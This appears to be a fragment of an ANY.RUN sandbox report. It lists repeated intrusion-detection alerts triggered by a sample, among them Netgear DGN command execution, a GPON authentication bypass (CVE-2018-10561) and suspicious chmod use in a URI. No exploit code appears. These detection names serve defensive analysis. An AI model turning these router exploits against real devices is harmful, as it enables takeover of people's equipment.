ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound
—
—
Attempted Administrator Privilege Gain
ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561)
—
—
Attempted Administrator Privilege Gain
ET HUNTING Suspicious Chmod Usage in URI (Outbound)
—
—
Attempted Administrator Privilege Gain
ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound
—
—
Attempted Administrator Privilege Gain
ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561)
—
—
Attempted Administrator Privilege Gain
ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound
—
—
Attempted Administrator Privilege Gain
ET HUNTING Suspicious Chmod Usage in URI (Outbound)
—
—
Attempted Administrator Privilege Gain
ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Ujigbnye8fjnlQjJjCEdmYYOrHaG1IDXi6